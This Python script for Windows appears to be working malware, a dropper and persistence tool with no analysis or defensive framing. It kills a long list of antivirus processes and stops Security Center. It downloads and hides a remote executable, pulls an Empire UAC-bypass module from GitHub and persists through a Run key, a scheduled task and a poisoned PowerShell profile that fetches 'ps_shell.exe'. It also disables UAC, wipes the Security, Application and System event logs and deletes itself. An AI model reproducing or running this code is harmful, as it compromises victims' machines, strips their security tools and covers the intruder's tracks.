#!/usr/bin/python
# -*- coding: iso-8859-15 -*-
import subprocess



def get_output(cmd):
	x = subprocess.Popen( 'copy /b NUL out >> NUL',shell=True)
	x = subprocess.Popen( "{} >> out".format(cmd),shell=True)
	x.wait()
	out = open("out","r").read()
	ff=open("out","w");ff.close() #protecting from file recovery :D
	x = subprocess.Popen( 'del out >> NUL',creationflags=subprocess.CREATE_NEW_CONSOLE, shell=True)
	return out




def F2058():
	x=get_output('net stop "Security Center" ')
	avs= [
  'a2adguard.exe',
  'a2adwizard.exe',
  'a2antidialer.exe',
  'a2cfg.exe',
  'a2cmd.exe',
  'a2free.exe',
  'a2guard.exe',
  'a2hijackfree.exe',
  'a2scan.exe',
  'a2service.exe',
  'a2start.exe',
  'a2sys.exe',
  'a2upd.exe',
  'aavgapi.exe',
  'aawservice.exe',
  'aawtray.exe',
  'ad-aware.exe',
  'ad-watch.exe',
  'alescan.exe',
  'anvir.exe',
  'ashdisp.exe',
  'ashmaisv.exe',
  'ashserv.exe',
  'ashwebsv.exe',
  'aswupdsv.exe',
  'atrack.exe',
  'avgagent.exe',
  'avgamsvr.exe',
  'avgcc.exe',
  'avgctrl.exe',
  'avgemc.exe',
  'avgnt.exe',
  'avgtcpsv.exe',
  'avguard.exe',
  'avgupsvc.exe',
  'avgw.exe',
  'avkbar.exe',
  'avk.exe',
  'avkpop.exe',
  'avkproxy.exe',
  'avkservice.exe',
  'avktray',
  'avktray.exe',
  'avkwctl',
  'avkwctl.exe',
  'avmailc.exe',
  'avp.exe',
  'avpm.exe',
  'avpmwrap.exe',
  'avsched32.exe',
  'avwebgrd.exe',
  'avwin.exe',
  'avwupsrv.exe',
  'avz.exe',
  'bdagent.exe',
  'bdmcon.exe',
  'bdnagent.exe',
  'bdss.exe',
  'bdswitch.exe',
  'blackd.exe',
  'blackice.exe',
  'blink.exe',
  'boc412.exe',
  'boc425.exe',
  'bocore.exe',
  'bootwarn.exe',
  'cavrid.exe',
  'cavtray.exe',
  'ccapp.exe',
  'ccevtmgr.exe',
  'ccimscan.exe',
  'ccproxy.exe',
  'ccpwdsvc.exe',
  'ccpxysvc.exe',
  'ccsetmgr.exe',
  'cfgwiz.exe',
  'cfp.exe',
  'clamd.exe',
  'clamservice.exe',
  'clamtray.exe',
  'cmdagent.exe',
  'cpd.exe',
  'cpf.exe',
  'csinsmnt.exe',
  'dcsuserprot.exe',
  'defensewall.exe',
  'defensewall_serv.exe',
  'defwatch.exe',
  'f-agnt95.exe',
  'fpavupdm.exe',
  'f-prot95.exe',
  'f-prot.exe',
  'fprot.exe',
  'fsaua.exe',
  'fsav32.exe',
  'f-sched.exe',
  'fsdfwd.exe',
  'fsm32.exe',
  'fsma32.exe',
  'fssm32.exe',
  'f-stopw.exe',
  'f-stopw.exe',
  'fwservice.exe',
  'fwsrv.exe',
  'iamstats.exe',
  'iao.exe',
  'icload95.exe',
  'icmon.exe',
  'idsinst.exe',
  'idslu.exe',
  'inetupd.exe',
  'irsetup.exe',
  'isafe.exe',
  'isignup.exe',
  'issvc.exe',
  'kav.exe',
  'kavss.exe',
  'kavsvc.exe',
  'klswd.exe',
  'kpf4gui.exe',
  'kpf4ss.exe',
  'livesrv.exe',
  'lpfw.exe',
  'mcagent.exe',
  'mcdetect.exe',
  'mcmnhdlr.exe',
  'mcrdsvc.exe',
  'mcshield.exe',
  'mctskshd.exe',
  'mcvsshld.exe',
  'mghtml.exe',
  'mpftray.exe',
  'msascui.exe',
  'mscifapp.exe',
  'msfwsvc.exe',
  'msgsys.exe',
  'msssrv.exe',
  'navapsvc.exe',
  'navapw32.exe',
  'navlogon.dll',
  'navstub.exe',
  'navw32.exe',
  'nisemsvr.exe',
  'nisum.exe',
  'nmain.exe',
  'noads.exe',
  'nod32krn.exe',
  'nod32kui.exe',
  'nod32ra.exe',
  'npfmntor.exe',
  'nprotect.exe',
  'nsmdtr.exe',
  'oasclnt.exe',
  'ofcdog.exe',
  'opscan.exe',
  'ossec-agent.exe',
  'outpost.exe',
  'paamsrv.exe',
  'pavfnsvr.exe',
  'pcclient.exe',
  'pccpfw.exe',
  'pccwin98.exe',
  'persfw.exe',
  'protector.exe',
  'qconsole.exe',
  'qdcsfs.exe',
  'rtvscan.exe',
  'sadblock.exe',
  'safe.exe',
  'sandboxieserver.exe',
  'savscan.exe',
  'sbiectrl.exe',
  'sbiesvc.exe',
  'sbserv.exe',
  'scfservice.exe',
  'sched.exe',
  'schedm.exe',
  'scheduler daemon.exe',
  'sdhelp.exe',
  'serv95.exe',
  'sgbhp.exe',
  'sgmain.exe',
  'slee503.exe',
  'smartfix.exe',
  'smc.exe',
  'snoopfreesvc.exe',
  'snoopfreeui.exe',
  'spbbcsvc.exe',
  'sp_rsser.exe',
  'spyblocker.exe',
  'spybotsd.exe',
  'spysweeper.exe',
  'spysweeperui.exe',
  'spywareguard.dll',
  'spywareterminatorshield.exe',
  'ssu.exe',
  'steganos5.exe',
  'stinger.exe',
  'swdoctor.exe',
  'swupdate.exe',
  'symlcsvc.exe',
  'symundo.exe',
  'symwsc.exe',
  'symwscno.exe',
  'tcguard.exe',
  'tds2-98.exe',
  'tds-3.exe',
  'teatimer.exe',
  'tgbbob.exe',
  'tgbstarter.exe',
  'tsatudt.exe',
  'umxagent.exe',
  'umxcfg.exe',
  'umxfwhlp.exe',
  'umxlu.exe',
  'umxpol.exe',
  'umxtray.exe',
  'usrprmpt.exe',
  'vetmsg9x.exe',
  'vetmsg.exe',
  'vptray.exe',
  'vsaccess.exe',
  'vsserv.exe',
  'wcantispy.exe',
  'win-bugsfix.exe',
  'winpatrol.exe',
  'winpa'"'"'rolex.exe',
  'wrsssdk.exe',
  'xcommsvr.exe',
  'xfr.exe',
  'xp-antispy.exe',
  'zegarynka.exe',
  'zlclient.exe'
]

	processes=get_output('TASKLIST /FI "STATUS eq RUNNING" | find /V "Image Name" | find /V "="')
	ps=[]
	for i in processes.split(" "):
		if ".exe" in i:
			ps.append(i.replace("K\n","").replace("\n",""))

	for av in avs:
		for p in ps:
			if p==av:
				#killing off av variable
				subprocess.Popen( "TASKKILL /F /IM \"{}\" >> NUL".format(p) ,shell=True)

F2058()


from urllib import urlopen


global pthhhh
from platform import architecture
def fire_things_up(url,arch=False,zip=False):
	global pthhhh
	def work(zip):
		global pthhhh
		pthhhh = get_output("echo %temp%").strip()
		CHUNK  = 16 * 1024
		junk   = b""
		if not zip:
			res = urlopen(url)
			while True:
				chunk = res.read(CHUNK)
				if chunk:
					junk +=chunk
				else:break
			f   = open(pthhhh+"\\library.exe", 'wb')
			f.write(junk)
			f.close()
			xx     = subprocess.Popen( 'mkdir Microsoft.NET >> NUL',shell=True,cwd=pthhhh)
			subprocess.Popen( 'move library.exe Microsoft.NET\\library.exe >> NUL',shell=True,cwd=pthhhh)
		elif zip:
			res = urlopen(url)
			while True:
				chunk = res.read(CHUNK)
				if chunk:
					junk +=chunk
				else:break
			##~Import-Here~##
			f   = open(pthhhh+"\\library_data.zip", 'wb')
			f.write(junk)
			f.close()
			xx     = subprocess.Popen( 'mkdir Microsoft.NET >> NUL',shell=True,cwd=pthhhh)
			subprocess.Popen( 'move library_data.zip Microsoft.NET\\library_data.zip >> NUL',shell=True,cwd=pthhhh)
			zip=zipfile.ZipFile(pthhhh+"\\Microsoft.NET\\library_data.zip")
			def get_exe_from(zip):
				for i in zip.namelist():
					if i.endswith(".exe"):
						return i
			f = open(pthhhh+"\\Microsoft.NET\\library.exe","wb")
			f.write( zip.read( get_exe_from(zip) ) )
			f.close()
			bat_data = '''@echo off\nbreak>library_data.zip\nDEL -f "library_data.zip"\nbreak>"%~f0" && DEL "%~f0" '''
			bat = open(pthhhh+"\\Microsoft.NET\\lolz_service.bat","w");bat.write(bat_data);bat.close()
			xxx = subprocess.Popen( pthhhh+"\\Microsoft.NET\\lolz_service.bat >> NUL",shell=True)

		#xx  = subprocess.Popen( "library.exe >> NUL",shell=True,cwd=pthhhh+"\\Microsoft.NET")
		#xxx = subprocess.Popen( 'attrib +s +h "Microsoft.NET" >> NUL',shell=True,cwd=pthhhh)
	#check architecture
	if arch:
		if architecture()[0][:2] == arch: work(zip)
	else: work(zip)


fire_things_up("https://facebook.com/backdoor.exe")



def runas():
	pscode  = '''(New-Object System.Net.WebClient).DownloadFile("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-BypassUAC.ps1","$pwd\Lolz.ps1")
function SelfDestruct() {
	$path = (Get-Variable MyInvocation -Scope 1).Value.MyCommand.Path
	Clear-Content $path
	Remove-Item $path }
SelfDestruct'''
	f=open("Lol.ps1","w");f.write(pscode);f.close()
	blah = subprocess.Popen("PowerShell.exe -ExecutionPolicy Bypass -noprofile -File lol.ps1 >> NUL",shell=True)
	filename = pth.split("\\")[-1]
	data = '''@echo off
powershell -noprofile -Command "Import-Module .\Lolz.ps1 ; Invoke-BypassUAC -Command 'Library.exe' "
break>Lolz.ps1 && DEL "Lolz.ps1"
break>"%~f0" && DEL "%~f0"'''
	f = open("yourock.bat","w")
	f.write(data)
	f.close()
	blah = subprocess.Popen("yourock.bat >> NUL",shell=True)

runas()

File = 'library.exe'


def make_copy(old_name,new_name):
	data = open(old_name,"rb").read()
	new_file = open(new_name,"wb")
	new_file.write(data)
	new_file.close()

def F7212(exe):
	fp = get_output("echo %TEMP%")
	new_name = get_output("echo %random%%random%").strip() + ".exe"
	make_copy( exe , new_name)
	new_file_path = fp + "\\" + new_name
	try:
		command = 'REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Windows.NET service" /t REG_SZ /f /d "{}"'
		x1 = subprocess.Popen(command.format( new_file_path ) +">> NUL",shell=True)
	except:
		appdata = get_output("echo %APPDATA%")
		x1 = subprocess.Popen('rename "{}" "{}" >> NUL'.format(new_file_path,appdata+"\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\{}".format( new_name )),shell=True)

F7212(File)




def F5536( path,exe,bat ):
	bat_file = open( path+"\\"+bat,"w" )
	bat_file.write("@echo off\n")
	bat_file.write( '"{}"'.format(path+"\\"+exe) )
	bat_file.write("\n"+'break>"%~f0" && DEL "%~f0"')
	bat_file.close()
	blahah = subprocess.Popen( "attrib +s +h " + bat +" >> NUL",shell=True,cwd=path)

def F5570(exe):
	path = get_output("echo %TEMP%")
	bat_name = get_output("echo %random%%random%").strip() + ".bat"
	bat_path = path + "\\" + bat_name
	F5536( path,exe,bat_name )

	if "Windows.NET service" not in get_output("schtasks /query"): # Will Start every day at the same time
		blah = subprocess.Popen( 'SCHTASKS /CREATE /SC daily /TN "Windows.NET service" /TR {} >> NUL'.format( bat_path ),
		shell=True)

F5570(File)


link='https://facebook.com/backdoor.exe'


def profile(link):
	code  = '\nif(-Not (Test-Path "$env:TEMP\ps_shell.exe") ){'
	code += '\n(New-Object System.Net.WebClient).DownloadFile("{}","$env:TEMP\ps_shell.exe")'.format(link)
	code += '\n$pth = (Resolve-Path .\).Path'
	code += "\ncd $env:TEMP;.\ps_shell.exe"
	code += "\nattrib +s +h ps_shell.exe"
	code += "\ncd $pth}"
	pth   = get_output( 'powershell -c "echo $PsHome"' ).strip()
	chpro = get_output( "IF EXIST {} (echo true)".format(pth+"\\profile.ps1") ).strip()
	if chpro != "true":
		try:
			f = open( pth+"\\profile.ps1" , "w" )
			f.write(code)
			f.close()
		except:
			pass #not enough permissions to create!
	else:
		try:
			f = open( pth+"\\profile.ps1" , "a" )
			f.write(code)
			f.close()
		except:
			pass #not enough permissions to edit!

profile(link)




def DisUAC():
	def disable_uac():
		x=subprocess.Popen("REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f >> NUL",shell=True)
#####
	def check_uac():
		uac = get_output("REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA")
		if "0x1" in uac:
			return True
		else:
			return False
#######
	if check_uac():
		disable_uac()
		if check_uac():
			return False
		else:
			return True
	else:
		return True

DisUAC()




from sys import executable
def selfdestruct():
	filename = executable.split("\\")[-1]
	data = '''@echo off
TASKKILL /F /IM "{0}"
break>{0}
DEL -f "{0}"
break>"%~f0" && DEL "%~f0"
echo Good but not good enough >> {0}'''.format( filename )
	f = open("Thanks_For_Using_Our_Service.bat","w") #Looool :XD
	f.write(data)
	f.close()
	xxx = subprocess.Popen("Thanks_For_Using_Our_Service.bat >> NUL",shell=True)

selfdestruct()




def clearev():
	tryy=get_output('powershell -c "Clear-EventLog \"Security\"" ')
	if not "not allowed." in tryy:
		x=subprocess.Popen( 'powershell -c "Clear-EventLog \"Application\"" ',shell=True)
		xx=subprocess.Popen( 'powershell -c "Clear-EventLog \"System\"" ',shell=True)
	else:
		##The second way :D
		code   = 'Clear-EventLog "Security"\n'
		code  += 'Clear-EventLog "Application"\n'
		code  += 'Clear-EventLog "System"\n'
		code  += "\nfunction SelfDestruct() {"+"\n"
		code  += "$path = (Get-Variable MyInvocation -Scope 1).Value.MyCommand.Path"+"\n"
		code  += "Clear-Content $path"+"\n"
		code  += "Remove-Item $path}"+"\n"
		code  += "SelfDestruct"+"\n"
		code  += '\nif( (Test-Path "Profile-Backup.ps1") ){'
		code  += "\n$content=Get-Content \"Profile-Backup.ps1\""
		code  += "\nSet-Content -Path \"profile.ps1\" -Value $content "
		code  += "\nRemove-Item \"Profile-Backup.ps1\"}"

		pth   = get_output( 'powershell -c "echo $PsHome"' ).strip()
		chpro = get_output( "IF EXIST {} (echo true)".format(pth+"\\profile.ps1") ).strip()
		if chpro != "true":
			try:
				f = open( pth+"\\profile.ps1" , "w" )
				f.write(code)
				f.close()
			except:
				pass #not enough permissions to create!
			else:
				x=subprocess.Popen( 'powershell -c "Start-Process powershell -Verb runAs -WindowStyle Hidden" >> NUL',shell=True)
		else:
			try:
				old = open( pth+"\\profile.ps1" , "r" )
				backup = old.read()
				old.close()
				backupfile = open( pth+"\\Profile-Backup" , "w" )
				backupfile.write(backup)
				backupfile.close()
				f = open( pth+"\\profile.ps1" , "w" )
				f.write(code)
				f.close()
			except:
				pass #not enough permissions to edit!
			else:
				x=subprocess.Popen( 'powershell -c "Start-Process powershell -Verb runAs -WindowStyle Hidden" >> NUL',shell=True)
clearev()


x = subprocess.Popen( 'del out >> NUL',creationflags=subprocess.CREATE_NEW_CONSOLE, shell=True)